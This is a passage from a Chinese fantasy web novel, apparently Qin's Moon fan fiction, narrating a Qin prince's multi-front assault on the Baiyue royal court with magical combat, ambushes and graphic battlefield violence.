破裂,散发出更浓郁的毒气。
阴影里。
无数双细小猩红的眼睛若隐若现,那是被百越巫师驯养的毒物,正贪婪而警惕地注视着任何敢于踏入此地的生灵。
这里,是百越王庭西侧最阴毒的一道屏障。
几道身影如同没有重量的幽灵,悄无声息地落在水道入口处一块巨大的,布满苔藓的黑色礁石上。
为首两人,气质迥异!
却都带着令人心悸的威严!
月神一袭深蓝长裙,裙摆缀满星辰般的碎晶。
面覆薄纱,双眸轻阖。
仿佛永远沉浸在无尽的星空推演之中。
她周身散发着清冷神秘的气息,与这污秽恶毒的环境格格不入。
那些弥漫的毒瘴竟无法靠近她周身三尺,便被一股无形的力量悄然化去。
大司命则是一身妖艳的血红色旗袍。
勾勒出惊心动魄的曲线!
双手戴着诡异的黑色金属手套,指尖猩红,如同染满鲜血。
她嘴角噙着一丝慵懒而残忍的笑意,饶有兴致地打量着眼前这片死亡水域,仿佛在欣赏一出有趣的戏剧。
她深吸一口气,那足以致命的甜腻香气涌入鼻腔
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。
她却露出一丝陶醉的神情。
“啧啧,百越的这些玩蛊弄毒的家伙,倒是把阴沟里的本事练得登峰造极了。”
大司命的声音带着一种独特的沙哑磁性,语气轻佻,却字字句句都透着冰冷的杀意。
“这味道,真是…令人作呕又兴奋呢。”
她身后,十余名阴阳家高手无声肃立,皆穿着宽大的黑袍,脸上戴着刻画五行符箓的面具。
气息阴冷而肃杀!
他们是阴阳家“五灵玄同”中的精锐,精通各类咒杀陷阱与五行术法。
月神缓缓睁开眼眸,那双淡紫色的瞳孔中仿佛有星河流转。
她并未看向大司命,目光直接投向前方死寂的水道,声音空灵缥缈,不带丝毫情绪。
“此地污秽,尽早清理,勿要误了时辰。”
大司命轻笑一声,猩红的舌尖舔过唇角。
“月神大人总是这般无趣,清理垃圾,也要讲究些乐趣,不是吗?”
她虽嘴上调侃,但对月神的命令并无丝毫违逆之意。
月神并未理会她的挑衅,纤纤玉指抬起,在空中虚点几下,指尖流淌出淡淡的星辉,勾勒出几个玄奥的符文。
符文一闪即逝,没入虚空!
“水道之下,埋骨九百七十一具,怨气凝结,滋养毒蛊。”
“前方三里,有‘蚀魂水蛭’巢穴,五里处,‘千足蜈蚣’盘踞泥潭。”
“西岸林中,隐藏三处‘咒怨图腾’,由七名巫祝看守,可远程催发蛊毒,扰乱心神。”
她清冷的声音如同宣读数椐,将亡魂水道的凶险一一揭示,仿佛亲眼所见。
一名阴阳家高手上前一步,声音透过面具显得有些沉闷。
“月神大人,是否先由我等出手,拔除图腾,再清理水道?”
“算了罢!”
大司命抢先开口,她晃动腰肢,向前走了两步,来到水边,戴着黑色金属手套的双手缓缓抬起,十指如同抚琴般轻轻舞动起来,指尖那抹猩红愈发妖艳。
“对付这些藏在阴沟里的虫子,就得让它们自己…爬出来!!!”
她的声音陡然变得尖锐而充满恶意!
随着她指尖的舞动,一股诡异无形的精神波动如同水纹般扩散开来,悄无声息地侵入墨绿色的河水之中。
“阴阳合手印·惑心!”
刹那间,原本死寂的河水仿佛被烧开般剧烈翻腾起来!!
“咕咚!咕咚!咕咚!”
无数巨大的气泡疯狂冒出!
紧接着,密密麻麻,形态各异,色彩斑斓的毒虫猛地从水底、泥沼中钻出!
它们仿佛受到了极致的刺激和恐惧,完全失去了控制,开始疯狂地互相撕咬、攻击!
蚀魂水蛭如同黑色的鞭子般抽打缠绕,吸盘死死咬住同伴的身体!
脸盆大小的毒蟾蜍鼓起毒囊,喷出腥臭的毒液,无差别地攻击周围一切。
无数蜈蚣、蝎子、蜘蛛翻滚纠缠!
獠牙和毒刺疯狂互噬!!
整个亡魂水道瞬间变成了一个疯狂而血腥的自相残杀之地!!!
墨绿色的河水被搅得浑浊不堪,迅速染上了各种毒液和虫尸的诡异颜色,恶臭冲天!
“呵…呵呵……”
大司命发出愉悦的轻笑,欣赏着眼前这幕由她亲手导演的疯狂盛宴。
“看呐,多美的景象!这才是它们该有的归宿!”
阴阳家高手们默然肃立,对这一幕早已司空见惯。
第226章 奇袭百越王庭后方!
然而。
西岸林中。
那三处隐藏的咒怨图腾猛地亮起幽暗的光芒!
一股更加深沉、怨毒的精神力量试图介入,想要重新控制住失控的虫群。
“哼,忍不住了吗?”
月神冷哼一声,一直轻阖的双眸骤然睁开!
眸中星河流转的速度瞬间加快!!
她甚至没有结印,只是抬起右手,对着西岸林地的方向,五指轻轻一握!
“魂兮龙游·星禁!”
无声无息间!
那三处刚刚亮起的图腾光芒如同被无形巨手掐灭的烛火,骤然黯淡下去!
林地深处隐约传来几声短促而凄厉的惨叫,随即彻底没了声息。
那试图干预的怨毒精神力量如同撞上了一堵坚不可摧的星辰壁垒,瞬间反弹回去,反噬其主!
“月神大人的手段,还是这般干脆利落,让人连玩闹的兴致都没了呢。”
大司命撇了撇嘴,似乎有些遗憾没能多玩一会儿。
她手上的动作却不停,十指翻飞越发急促。
那些失控的毒虫在互相残杀中数量锐减,残存的也大多奄奄一息。
大司命眼中红芒一闪,双手猛地向中间一合!
“噗——!”
仿佛一声巨大的,沉闷的心脏跳动声响起。
所有残存的毒虫,无论大小,无论在水里还是在岸上,身体同时剧烈膨胀!
然后!
轰然爆开!
漫天毒血、碎肉、甲壳如同暴雨般倾泻而下,将整个亡魂水道染成了一片无比狼藉,色彩诡异的修罗场!
恶臭达到了顶点,几乎令人窒息。
大司命却满意地深吸了一口气,仿佛在闻什么绝世珍馐。
“这下清净多了。”
月神微微蹙眉,似乎不喜这过于浓烈的气味。
她纤手轻挥,袖中流淌出清冷的月华般的光辉,如同轻纱般拂过水面和两岸。
月华所过之处。
那令人作呕的恶臭竟迅速消散!
连那些污秽的残骸也仿佛被净化了一般,失去了毒性,变得黯淡无光。
“水道已通,继续前进。”
月神的声音依旧清冷空灵,仿佛刚才只是做了一件微不足道的小事。
她身影飘起,如同月下仙子。
足尖在偶尔露出水面,被净化过的石头上轻轻一点,便向前滑出十余丈。
大司命慵懒地伸了个懒腰,曲线毕露,对着身后的部下们招了招手。
“走吧,伙计们,别让月神大人等急了。”
“看来这亡魂水道,也没什么能让人尽兴的玩意儿~”
她话音刚落,天地间骤然传来一声震彻山川的巨响!
轰鸣声由王庭方向滚滚传来,犹如雷霆倾覆!
紧接着,一股无法形容的恐怖威压汹涌而出!
仿佛有一尊古老的神祇在核心深处睁开了眼睛,冷漠而高绝地俯瞰人间!
阴阳家高手们尽皆脸色大变,心神悸动,呼吸骤然停滞!
大司命瞳孔一缩,舔了舔唇角,似乎兴奋又惶然:“呵…这气息,真是……要把人碾碎了呢。”
唯有月神神色未变,紫瞳深处却掠过一丝星辉流转。
“殿下已动手。”
她声音清冷,带着一种不容置疑的平静。
“走。”
白衣与红裳,一冷一艳,两道身影率先踏入前路。
阴阳家高手们无声领命,身形晃动,如同鬼魅般紧随着月神和大司命,沿着这条被强行“净化”过的死亡水道,迅速向着百越王庭的方向深入。
只留下身后一片狼藉却再无危险的河道,以及两岸林中那几具七窍流血,死不瞑目的巫祝尸体,无声地诉说着方才短暂却致命的交锋。
……
百越王庭后方。
峭壁与深谷,如同巨兽身上纵横交错的褶皱,隐藏着无数条只有世代居住于此的百越贵族才知晓的逃生密道。
这些通道出口隐秘。
有的藏于瀑布之后,有的隐于毒沼之底,有的甚至直接开凿在悬崖半腰。
寻常人根本无法发现,更别说接近。
然而今夜。
这些通往自由的“生路”,却被更深的死亡阴影所笼罩!
一道挺拔冷峻的身影,如同亘古存在的磐石,矗立在最大的一条密道出口前。
那出口隐藏在一个巨大的兽骨祭坛之下,平日里被繁复的图腾和杂草掩盖。
卫庄一袭黑衣,白发在微弱的月光下泛着冷冽的银辉,鲨齿剑随意地扛在肩头,剑鞘上暗红色的纹路仿佛干涸的血迹。
他眼神淡漠,看着那黑黢黢的洞口,如同看着一个早已预设好的坟墓。
周围的空气冰冷而肃杀,连虫鸣都早已绝迹!
“啧,真是够偏僻的,一股子蛮子的臭味。”
一个娇媚却带着剧毒般的声音响起。
赤练晃动着水蛇腰,从阴影中款款走出,纤纤玉指间缠绕着一条通体赤红的小蛇。
她美目流转,扫过那兽骨祭坛,嘴角带着一丝讥诮和不耐烦。
“卫庄大人,我们真的要守在这种地方?”
“里面才热闹呢。”
她更渴望去那杀戮的中心,而不是守在这可能空无一人的后门。
卫庄甚至没有转头看她,声音冷硬如冰。
“守住这里,就是你的任务。”
赤练撇撇嘴,却不敢再多言,只是无聊地用指尖逗弄着赤练蛇。
蛇信嘶嘶,映着她妖娆却危险的面容。
头顶的悬崖上方,传来几声极轻微的、几乎与风声无异的响动。
一袭白衣的白凤如同没有重量般立于一根孤悬的枯枝之上,俯瞰着下方数个难以察觉的崖壁出口。
他俊美冷漠的脸上没有任何表情。
只是偶尔,会有几片洁白的羽毛从他指尖飘落,精准地覆盖在那些出口的必经之路上,如同死亡的请柬。
“安静点,赤练。”
白凤的声音清冷飘忽,如同从云端传来。
“猎物还没到惊慌失措的时候,别吓跑了他们。”
赤练抬头,没好气地瞪了他一眼,却终究没再出声。
更远处的黑暗里。
传来低沉的狼嚎,和令人牙酸的仿佛骨骼错位的摩擦声。
那是苍狼王与他驯养的狼群!
它们绿油油的眼睛在密林深处闪烁,封锁了所有地面可能的逃窜路径。
偶尔,还能听到一声压抑着疯狂嗜血的低笑。
那是隐蝠倒挂在某处洞穴顶端,舔舐着獠牙,等待着鲜血的盛宴。
逆流沙,这把江湖上最锋利也最危险的凶器,此刻已完全展开它的獠牙!
他们无声地编织成一张死亡之网,将百越王庭所有的退路彻底
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锁死!!
时间一点点流逝。
前方的王庭方向,以及东西两侧,隐约传来骚动和喊杀声,显然赢子夜率领的主力已经发动了进攻!
但这后方,却依旧死寂得可怕!
今夜,没有任何猎物,能从这片黑暗中逃脱。
……
王庭外围。
这里并非整齐划一的军营,而是一个个依托险要地势杂乱分布的部落聚居地。
木石结构的吊脚楼拥挤在一起,兽皮帐篷随处可见。
空气中混杂着烤肉的焦糊味,劣质酒液的酸味和一种蛮荒的体臭。
这里人员混杂。
有留守的老弱妇孺,有从前方溃败下来的残兵。
也有被强征来,眼神麻木的部落壮丁。
篝火跳跃,映照着一张张或惶恐、或凶戾、或茫然的脸。
混乱,本就是这里的常态!
而今晚,某种更深沉、更诡异的混乱,正如同瘟疫般悄然蔓延。
一个喝得醉醺醺的百越大汉,正挥舞着骨棒,对着同伴吹嘘自己曾在战场上砍下过秦军的脑袋。
他踉跄着走到一堆物资旁,想要再找些酒喝。
脚下,却不知被什么绊了一下,猛地向前扑去!
手中的骨棒“噗”地一声,竟意外地刺穿了旁边一名正打盹的哨兵的喉咙!!
鲜血喷溅,那醉汉愣在原地,还没明白发生了什么,就被周围瞬间惊起的,不明真相的其他士兵乱刀**!
另一处。
看管粮草的几个士卒突然发出凄厉的惨叫!!
他们疯狂地抓挠着自己的皮肤,仿佛有无数看不见的虫子在皮下钻行。
很快,便口吐白沫倒地抽搐,眼见不活。
周围的人惊恐退散,疑神疑鬼地互相打量着,不知道是谁下的毒,或者……
是诅咒?
“有鬼!有秦人的恶鬼混进来了!”
一个苍老的声音在黑暗中尖利地响起,充满了恐惧!
瞬间点燃了更多人的恐慌!
部落边缘。
几个黑影如同真正的鬼魅,悄无声息地穿梭在阴影与火光之间。
他们穿着混杂的百越服饰,脸上涂抹着泥污,眼神却冰冷得没有一丝人类情感。
他们是用噬牙狱高手训练而成的“鬼卒”,最擅长潜伏、下毒、**和煽动人心。
他们的动作精准而高效。
每一次小小的“意外”,每一句恰到好处的低语,都像投入油锅的水滴,让这片本就躁动不安的区域迅速沸腾、失控!
恐慌在蔓延,猜忌在滋生!
小小的摩擦迅速演变成流血的械斗。
有人想弹压,却往往死得更加莫名其妙!
整个外围部落如同一个被捅了的马蜂窝,乱作一团!
哭喊声、咒骂声、厮杀声此起彼伏。
大量本该增援王庭核心区域或守卫要道的蛮兵,被牢牢拖在了这自我毁灭的泥潭之中。
一名刚刚用淬毒细针解决了一个试图整顿秩序的小头目的鬼卒,正欲融入阴影,前往下一个地点。
突然。
“轰!!!”
一声沉闷却仿佛能撼动灵魂的巨响从王庭核心方向传来!
紧接着,是地动山摇般的震动!
甚至连他们脚下的土地都在微微颤抖!
所有混乱嘈杂的声音在这一刻诡异地停滞了一瞬!
第227章 所过之处,寸草不生!
那鬼卒猛地抬头,隐藏在污垢下的冰冷瞳孔骤然收缩:
“是…殿下?!”
他感受到了一股无法形容,浩瀚如渊又威严如狱的恐怖气息,如同潮水般从王庭中心扩散开来,瞬间笼罩了这片天地!!!
那气息中蕴含着至高无上的压迫感!
令人骨髓发冷,灵魂战栗!
而远处那混乱的部落中。
所有百越人,无论是正在厮杀的、哭喊的、还是躲藏的。
都感受到了这股可怕的气息!
他们脸上的凶戾恐慌,瞬间被一种更深沉,源自生命本能的恐惧所取代!
许多人双腿发软,不由自主地跪倒在地,朝着那个方向瑟瑟发抖,口中发出无意识的呜咽!
那鬼卒深吸一口冰冷的空气,强行压下心头的悸动。
“应该…是殿下亲自出手了。”
“这气息,绝对没错!”
“嘶!好恐怖的压迫感!”
他与其他几个阴影中的同伴快速交换了一个眼神,彼此都看到了对方眼中那一闪而逝的惊骇。
但他们很快恢复了那死水般的冰冷。
任务尚未完成。
鬼卒的身影再次无声无息地没入黑暗,只留下身后那片被恐惧和混乱彻底吞噬的营地。
以及远方那令人不敢深思,如同神魔降临般的可怕威压!!
……
鹰愁涧。
两侧崖壁如刀削斧劈,高耸入云。
中间仅有一条狭窄的栈道蜿蜒通过,下方是云雾缭绕,深不见底的深渊。
这里是通往百越王庭西北方向的最后一道。
也是最险峻的一道天然关卡。
百越人在此经营多年,栈道上不仅布置了滚木礌石,崖顶更埋伏了数百精锐弓手和擅长投掷毒矛的勇士,堪称一夫当关,万夫莫开!
韩信麾下的孤军,此刻就潜藏在涧口对面的密林之中!
连日来的急行军和连续战斗,让这支精锐也显出了疲态。
甲胄破损,兵刃染血。
但每个人的眼神依旧锐利,如同等待扑食的饿狼,紧紧盯着前方那几乎不可能逾越的天堑!
副将抹了一把脸上的汗水和血污,凑到韩信身边,声音因干渴而沙哑。
“将军,强攻栈道,伤亡太大,恐怕……”
他看着那险峻的地势和隐约可见的守军身影,眉头紧锁。
韩信没有说话。
他蹲在地上,用一根树枝在泥土上飞快地划动着,勾勒出鹰愁涧及周边的大致地形。
他的眼神专注而冷静,仿佛外界的一切喧嚣和危险都与他无关。
突然!
一声从王庭方向传来的沉闷如雷的**巨响,以及随后那股令人心悸的恐怖威压传来!
所有人都清晰地感受到了。
周围的士兵们出现了一阵轻微的骚动。
“那……那是什么动静?”
不少人面露惊疑,下意识地望向王庭方向。
有人低声惊呼,声音里带着一丝不易察觉的恐惧!
韩信手中的树枝微微一顿。
抬眸瞥了一眼王庭上空那仿佛扭曲了一瞬的空气,黑眸深处掠过一丝极淡的波澜,但瞬间便恢复了古井无波。
但,他只是极其冷静地将这突如其来的变数,纳入了自己的计算之中。
“时机到了。”
他丢掉树枝,缓缓站起身,声音不大,却瞬间压下了所有的骚动和不安。
副将一愣。
“将军?”
韩信目光如炬,扫过麾下这些疲惫却依旧保持着战斗意志的将士,语速快而清晰。
“如此动静,必是殿下已在王庭核心动手,且声势浩大。”
“鹰愁涧守军心神已被震慑,此刻正是他们最慌乱、最易出错之时!!”
他猛地抬手,指向崖顶。
“他们的注意力,现在全被王庭方向的异动吸引!”
“传令!第一队,将所有剩余箭矢,绑上浸油布条,全部射向崖顶东侧那片枯草区!”
“第二队,用所有号角、战鼓,给我在涧口拼命敲响,制造我军即将强攻栈道的假象!!!”
副将眼睛猛地一亮,瞬间明白了韩信的意图。
“将军是要……声东击西,火攻扰敌?”
“不止!”
韩信眼神锐利。
“第三队,随我走!”
“鹰愁涧并非绝路,东侧崖壁有一条被山藤掩盖的采药小径,地图上未有标注,是我前日观察飞鸟踪迹发现的!”
“虽险峻,但可攀爬!!”
他目光扫过众人。
“守军此刻心神已乱,又被火光号角吸引,绝难发现我等!”
“攀上崖顶,不必死战,以**远距离狙杀其头目,焚烧其粮草物资,制造最大混乱!”
“让他们以为我军主力已奇袭而上!”
“诺!”
众将士精神大振,疲惫一扫而空,眼中燃起兴奋的火焰。
命令被飞速执行。
刹那间。
涧口处秦军战鼓号角齐鸣,杀声震天。
仿佛有千军万马即将冲锋!
同时,数十支拖着火焰尾迹的箭矢呼啸着划破夜空,精准地落在崖顶东侧的枯草丛中。
火借风势,瞬间蔓延开来,映红了半边崖壁!!
崖顶的百越守军果然大乱!
惊呼声、救火声、军官的呵斥声乱成一团!
所有人的注意力都被东侧的大火和涧口震天的攻势吸引!
就在这片混乱的掩护下,韩信亲率数十名最擅长攀爬的精锐,如同灵猿般,悄无声息地潜至东侧崖底。
抓住那些粗壮的山藤,沿着那条几乎垂直的隐秘小径,向着火光冲天的崖顶疾速攀去!!
他的计算精准如机器,对时机的把握妙到巅毫。
不仅利用了地势,更利用了敌人的心理!
甚至将那远方传来,令人恐惧的巨响和威压,也化为了自己计谋的一部分!
鹰愁涧这天险,在他面前,仿佛成了一道可以随手破解的寻常棋局!!
……
同一时间。
赢子夜率领三百夜枭,如同一柄烧红的利刃,悍然刺入各处关卡!
他们所过之处,并非悄无声息的暗杀,而是碾压式的,宣告死亡降临的明杀!!
每一步都踏着雷霆,每一击都带着煌煌天威,要将恐惧深深烙进每一个百越人的骨髓
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里!
……
毒蛊瓮城。
乃是百越人利用山势修建而成。
城墙不高,却遍布孔洞。
无数毒烟、蛊虫从中喷涌而出,形成一片致命的死亡地带!
守将是一名浑身爬满毒纹,手持骨杖的枯瘦老者,正站在城头尖笑。
“秦狗!尝尝万蛊噬心的滋味吧!你们连城墙都摸不到……”
他的笑声戛然而止。
赢子夜甚至没有看他一眼,只是抬手,五指对着那弥漫的毒雾蛊云轻轻一握。
“镇狱钟!”
那尊巨大的金甲法相再次显现!
六臂之中,那口铭刻玄奥符文的青铜巨钟微微一震!
“咚——!”
并非震耳欲聋的巨响,而是一声低沉宏大的钟鸣!
仿佛来自九幽地府。
带着**一切邪祟的无上伟力!!!
音波过处,那五彩斑斓的毒雾,密密麻麻的蛊虫,如同被无形的净化之力扫过,瞬间凝固、黯淡,然后化为最原始的飞灰,簌簌落下!!
整个瓮城的毒蛊大阵,一击而破!!
城头那枯瘦老者目瞪口呆,浑身颤抖。
“不…不可能!我的宝贝……”
紧接着!
一道紫影闪过,少司命不知何时已如鬼魅般出现在他身侧,周身万千青叶流转,如同致命的精灵。
她紫眸冷漠,玉指轻拂。
“万**花·绞!”
老者甚至来不及反应!
无数锋锐如刀的叶片已将他连同那根骨杖一起包裹切割!!
噗嗤声中,血肉横飞!
瞬间被凌迟成一堆碎肉!
赢子夜看都未看结果,玄衣拂动,继续前行。
身后夜枭如狼似虎地扑上城头,将那些吓傻的守军砍瓜切菜般斩杀,并将老者的头颅高高挑起,悬挂在瓮城最高处!
……
巨力石堡。
堡门是厚重的整块花岗岩。
一名身高近丈,肌肉虬结如岩石的百越巨汉。
手持一柄门板大小的狼牙棒,狞笑着守在门前,他脚下还踩着几具先前试图攻堡的秦军士兵尸体。
“秦人!蝼蚁!来啊!爷爷把你们全都砸成肉泥!”
他咆哮着,声如闷雷。
赢子夜脚步不停,径直走向那巨汉和厚重的石门。
巨汉见状,狂吼一声,全身肌肉暴涨,青筋如同蚯蚓般蠕动,抡起狼牙棒带着恶风狠狠砸下!
这一击之力,足以将攻城锤都砸碎!
赢子夜甚至没有动用金甲法相。
他只是抬起右手,食指中指并拢,对着那呼啸而来的狼牙棒和后方厚重的石门,轻轻一划。
“天帝剑指·分海!!”
一道细微却凝练到极致的金色细线,从他指尖迸发,无声无息地掠过空间!
时间仿佛静止了一瞬!
那势不可挡的狼牙棒,从中无声无息地断为两截,断面光滑如镜!
巨汉脸上的狞笑凝固,一道血线从他眉心浮现,笔直向下蔓延。
而他身后那扇厚重的花岗岩堡门,连同整个巨石堡垒的中轴线,同时出现了一道笔直的金色细线!
第228章 这是赤果果的羞辱!
下一刻!
轰隆隆隆——!!!
巨汉的身体沿着血线左右分开,轰然倒地!
内脏鲜血流淌一地!
而那巨大的石门和半座堡垒,沿着那条金线,缓缓向两侧滑落、崩塌!
激起漫天烟尘!
赢子夜穿过崩塌的烟尘和碎石,踏过巨汉的尸体,神情淡漠如初。
少司命紧随其后,万千青**舞,将溅射过来的碎石尘埃尽数荡开,不染其身。
夜枭们散开,迅速清理残敌,将那巨汉的两半尸身用铁链穿了,直接悬挂在崩塌的堡垒残骸之上!
……
半柱香后。
幻心林。
这是一片被百越巫师施加了幻术的诡异林地,树木扭曲,雾气弥漫。
踏入其中便会心生幻象,自相残杀,甚至精神崩溃。
守在此地的,是一名妖艳的百越巫女。
她躲在林深处,摇动着手中的铜铃,发出惑人心魄的铃声,娇笑声在林间回荡。
“来呀~来陪姐姐玩呀~让你们尝尝极乐升仙的滋味……”
夜枭中已有数人眼神开始迷离,动作变得迟缓!
赢子夜终于微微蹙眉,似乎厌烦了这种鬼蜮伎俩。
他没有直接踏入林地。
而是驱使金甲法相再次显现!
这一次,那本流淌着星辉的玉书飞起,书页无风自动,无数玄奥的符文如同活物般流淌而出。
“万象天书·破妄!!”
玉书中洒落清辉,如同月华普照,瞬间笼罩整个幻心林!
那妖艳巫女的娇笑声猛地变成了惊恐的尖叫!
她手中的铜铃“咔嚓”一声碎裂!
所有的幻术,所有的迷雾,在这清辉之下如同阳光下的冰雪,瞬间消融瓦解,露出了林木原本的样貌,以及那些藏身其中,因术法反噬而抱头惨叫的巫师!
“找到她。”
赢子夜淡淡开口。
少司命紫眸一闪,身影瞬间融入林中。
下一刻,万千叶片如同风暴般卷过,惨叫声戛然而止。
片刻后,她拎着一颗表情凝固在惊恐绝望上的美人头,从林中走出。
赢子夜看都未看,只是抬手对着那片林地虚按。
“天帝掌·覆地!”
一只巨大的由金光凝聚的帝王手掌凭空出现,覆盖了小半个林地,然后缓缓压下!!
轰!!!
地动山摇!
烟尘冲天!
当手掌消散时,那片诡异的林地已经消失,只剩下一个深不见底的掌印坑洞!
所有陷阱,所有残留的巫师,尽数化为齑粉!!!
那颗美人头被高高抛起,挂在了一根孤零零立着的焦黑木桩顶端。
……
赢子夜率领着三百夜枭,就这样一路横推!
遇关破关,遇将斩将!
手段酷烈,声势浩大!
他根本不屑于任何隐藏和试探,每一次都是雷霆万钧的碾压!!
每一次都将守将的头颅或尸身悬挂示众!
这不是暗杀,这是明晃晃的宣告!
这是帝王般的审判!
这是要将百越人所有的自信和抵抗意志,连同他们的关卡和高手一起,彻底碾碎、踩入泥泞!!
玄衣所向,挡者披靡!
金甲法相之下,万法皆破!
恐怖的威压如同实质的阴影,笼罩着整个王庭外围,让所有幸存的百越人肝胆俱裂,望风而逃!
他们真正感受到了,什么叫做绝望……
……
百越王庭最深处。
那粗犷狰狞的獠牙宫殿内,气氛压抑得如同暴雨将至。
兽骨与青铜铸成的王座之上,百越王“狰”如同一座即将喷发的火山。
他古铜色的皮肤上,那些靛蓝色的战纹因极致的愤怒而扭曲蠕动,仿佛活过来的毒蛇!
虬结的肌肉贲张,每一次呼吸都带着滚雷般的闷响,脚下的石板已然寸寸龟裂!
一名浑身浴血,丢盔弃甲的百越将领连滚爬爬地冲进大殿,声音因恐惧而彻底变调,匍匐在地,抖得如同风中落叶。
“大…大王!不好了!那赢子夜…他…他根本不是人!是魔鬼!”
“毒蛊瓮城破了!蛊长老被那紫衣女人切成了碎片,头…头挂在了城头!”
“石力士和他的巨石堡…被…被那赢子夜一挥手,连人带堡劈成了两半!尸体现在还挂在废墟上!”
“还有幻心巫女…她的幻术根本没用!”
“林子和人…都没了!就剩下一个巴掌印的巨坑和…和她的头!”
将领的声音带着哭腔,语无伦次,每一句话都像一柄重锤,狠狠砸在殿内所有百越贵族和巫师的心上!!
恐慌如同瘟疫般蔓延开来,每个人的脸上都失去了血色!
“他…他根本不屑隐藏!就是明着杀过来!”
“见关破关,见将斩将!还把…还把各位大人的尸首都挂起来示众啊!”
将领最后几乎是在嚎叫。
“够了!!”
狰猛地从王座上站起,发出一声震耳欲聋的咆哮!
声浪滚滚
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,震得整个宫殿簌簌作响,那报信的将领直接被这股蕴含着狂暴力量的怒吼震得口喷鲜血,昏死过去。
“赢!子!夜!”
狰几乎是从牙缝里挤出这三个字,双目赤红如血,燃烧着暴戾与疯狂的火焰。
“好!好得很!杀我大将,毁我关隘,还敢如此羞辱本王!”
他猛地一脚踹翻身旁沉重的青铜灯架,火焰泼洒一地,映照着他狰狞扭曲的面容。
“真以为我百无人了吗?!真以为本王是泥捏的不成?!”
他的目光猛地扫向王座旁最幽暗的角落,那里仿佛空无一物,却又散发着令人脊背发凉的阴冷气息。
“三十六洞蛇卫!”
狰的声音低沉下去,却带着更可怕的杀意,“都给本王滚出来!”
阴影蠕动,仿佛有无数条毒蛇从沉睡中苏醒。
下一刻,三十六道身影悄无声息地出现在大殿中央!
他们皆身着紧身墨绿皮甲,上面绘制着诡异的蛇鳞纹路,脸上戴着只露出双眼和嘴巴的蛇形面具,眼神冰冷麻木,不带丝毫人类情感。
每人手中持有的兵器也各不相同,弯刀、短矛、毒匕、骨笛……
皆淬着幽蓝的毒光。
他们站在那里,一股阴冷、粘稠、带着致命腥气的杀意便弥漫开来,让殿内温度骤降!
这是狰耗费无数心血培养的真正底牌!
取自百越最危险的三十六处毒洞之名!!
每一个都是精通暗杀、用毒、合击之术的死士,实力远超之前的鬼面刺客。
“秦狗欺人太甚!已经打到本王的家门口了!”
狰的声音如同毒蛇嘶鸣,他猛地拔出腰间一柄造型奇异,如同蛇信般的弯刀!
刀锋指向宫殿之外,赢子夜碾来的方向。
“随本王出征!”
“本王要亲自去会会那个不知天高地厚的秦国公子!”
“本王要亲手撕了他!”
“把他的骨头拆下来,挂在王庭的最高处!”
“让所有秦狗看看,挑衅本王的下场!!”
“嘶——!”
三十六名蛇卫同时发出一声短促而诡异,如同毒蛇吐信般的回应!
冰冷的眼眸中同时闪过嗜血的光芒。
狰怒吼一声,大步踏下王座!
墨绿色的披风扬起,如同一片死亡的阴影,带着三十六名如同毒蛇化身般的卫士,杀气腾腾地冲出宫殿,直扑那已然火光冲天,杀声震天的前线!
他要让赢子夜明白,百越之王,绝非可轻辱之辈!
第229章 断其根,灭其种!
此时!
幻心林外已化作一片巨大的掌形焦土。
边缘的余烬尚未完全熄灭,散发着刺鼻的焦糊味。
赢子夜负手立于这毁灭景象的中心,玄衣之上纤尘不染,仿佛刚才那翻手覆地的一击与他毫无关系。
三百夜鸦无声地肃立在他身后,如同沉默的黑色礁石。
唯有浓烈的血腥味和未散的杀意证明着他们方才经历过何等狂暴的推进。
少司命静立一旁,紫纱微拂。
周身流转的青叶将空气中残留的尘埃与毒瘴气息悄然荡开。
为她身前的赢子夜隔出一片绝对的清明。
忽然,一阵急促却依旧保持着纪律的脚步声从侧翼传来。
韩信率领着他那支经历了奇袭跋涉,甲胄破损却目光锐利如初的部队,迅速抵达!
他们看到眼前那巨大的掌印深坑和悬挂各处的百越人头颅,即便是这些百战精锐,瞳孔也不由得微微一缩!
看向赢子夜的目光中,充满了更深的敬畏!
韩信快步上前,抱拳行礼,声音沉稳依旧,却带着一丝不易察觉的急促。
“殿下!鹰愁涧已破,末将依令前来汇合!”
赢子夜微微颔首,黑眸扫过韩信及其麾下,对于他们能如此迅速突破天堑并抵达并未感到意外。
他的目光越过韩信,投向王庭东西两侧……
那里,火光更盛,杀声更隆!
显然晓梦、月神等百家主力,正与百越守军激烈绞杀!
“做得不错。”
赢子夜的声音平静无波,听不出赞赏,仿佛只是陈述一个事实。
“但你的任务,尚未完成。”
韩信立刻低头:“请殿下示下!”
赢子夜抬手,指向王庭核心区域的几个关键方位,语速平稳却带着不容置疑的决断。
“王庭顽抗,依仗的不过是粮草囤积之所,以及西北角那条隐秘的通往山外‘黑谷’的补给水道。”
“那是他们的命脉!”
他的目光转回韩信身上,带着一种冰冷的审视:“我要你部,即刻脱离主战场,不必参与正面强攻。”
韩信猛地抬头,眼中锐光一闪,瞬间明白了赢子夜的意图!
“殿下是想……”
“对,断其根!!!”
赢子夜打断他,语气斩钉截铁,“找到粮仓,焚之!找到水道,毁之!”
“我要这里,彻底变成一座孤岛绝地!”
“让里面的守军,在绝望中自行崩溃!!!”
“诺!”
韩信没有任何犹豫,重重抱拳。
这种釜底抽薪,直击要害的战术,正合他意。
赢子夜略一沉吟,继续道:“完成此事后,你不必回援。”
“此地之局已定,你部转道向东,直扑‘拜月城’。”
韩信目光一凝:“拜月城?”
那是百越腹地另一处重镇,地势险要,易守难攻,但并非王庭所在。
“拜月城不仅是军事要塞,应该更是百越各部族约定汇集撤退的最后的据点。”
“本公子已派人打探过,那座城中有数条密道通往更深的山岭,且囤积着他们为数不多的战略物资……”
赢子夜的黑眸中闪烁着算计的冷光,“拿下它,便是彻底斩断了百越残部最后的退路和希望。”
“我要的是犁庭扫穴,永绝后患!”
他并不知百越王狰已亲自离开王庭前来狙杀他,他目标直指拜月城,是基于更大的战略考量。
“末将明白!”
韩信心领神会,眼中爆发出锐利的光芒,“定不负殿下所托!”
“去吧。”
赢子夜挥了挥手,不再多言,转身,目光已然投向那杀声最烈的王庭核心方向,玄衣无风自动。
他的战场,在那里。
韩信再次抱拳,毫不拖泥带水,立刻转身,低喝一声!
“全军听令!转向!目标粮仓、水道,随后奔袭拜月城!”
他麾下的将士虽然疲惫,却毫无怨言!
迅速整队,如同另一柄尖刀,悄无声息地脱离主战场,向着赢子夜指定的致命要害插去!
赢子夜则带着三百夜鸦和少司命,如同死亡之风,继续向着百越王庭最坚硬的核心,呼啸而去!
两路锋芒,各司其职!
要将百越…彻底钉死在覆灭的十字架上!!!
……
片刻后。
赢子夜率领三百夜枭,如同死亡的潮水,正欲扑向王庭最后的核心。
